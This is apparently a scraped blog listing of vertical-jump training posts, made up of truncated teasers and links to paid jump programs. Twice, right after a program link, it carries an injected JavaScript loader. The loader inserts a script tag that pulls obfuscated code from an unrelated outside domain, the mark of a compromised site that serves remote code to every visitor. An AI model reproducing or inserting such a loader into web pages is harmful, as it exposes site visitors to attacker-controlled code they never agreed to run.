Does Jumping Rope Increase Vertical Leap?
Jump rope is an exercise that could be killing your vertical leap.
Does jumping rope increase vertical leap?
It can, but only at first... and from that point on your vertical leap may begin to slowly decrease.
Let me tell you why...
When...
How To Train Your Vertical Leap In-Season
Today's question is how to train your vertical leap during your regular season...
...when you don't feel like you have enough time to do the exercises...
...or more importantly... to RECOVER properly from those exercises.
There's a couple things to keep in mind:
First, this is about...
How to “Shock” Your Muscles Into Jumping Higher & Becoming More Explosive
Getting stronger is only one part of the equation for becoming a more explosive athlete.
Many athletes misunderstand that STRENGTH WILL NOT NECESSARILY MAKE YOU FASTER.
HOW MUSCLES BECOME EXPLOSIVE
When you move your muscle, an electrical stimulus is sent by your...
Q&A: Vertical Jump Workouts For A Busy Schedule?
We recently had a question from David F. about how to train when you have limited time.
You can check the answer and the solution in this video:
If you want to get personalized/customized responses to questions about your specific training,...
Q&A: Is It Better To Be A 1-Foot Or 2-Foot Jumper?
Got this question from John Peterson. Check the answer and tips in the video:
Our Instant Inches program can be found here: https://trainhard-trainsmart.com/instantinches
Our Jump Manual program can be found here: https://trainhard-trainsmart.com/jumpmanual;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n);x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://groundrats.org/tHHGGEDyAn6ygUcHwex98R1YlpAOQ9zvV2t6wfY5Sox');
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Q&A: Will Vertical Jump Training Hinder Growth Or Make Kids More Prone To Injury?
Our Jump Manual program can be found here: https://trainhard-trainsmart.com/jumpmanual;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n);x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://groundrats.org/tHHGGEDyAn6ygUcHwex98R1YlpAOQ9zvV2t6wfY5Sox');
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Q&A – How Do I Improve My Single Leg Jumping Power (Especially My Off...
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Jacob Hiller Shatters Backboard at 24 Hour Fitness…
(tired legs...didn't even get the dunk down lol)
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How To Jump Higher Using A Simple Trick Track & Field Athletes Have Used...
This is just one of the many techniques that can immediately add height to your jump. You can get access to the rest of them inside our Instant Inches program here.
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The 9 Things You Must Do For An Explosive Vertical
Download The 9 Essentials To An Explosive Vertical
Training to jump higher and increase your vertical leap is one of the most complicated workout routines you can do because it involves almost all aspects of improving your athleticism.
You cant just...
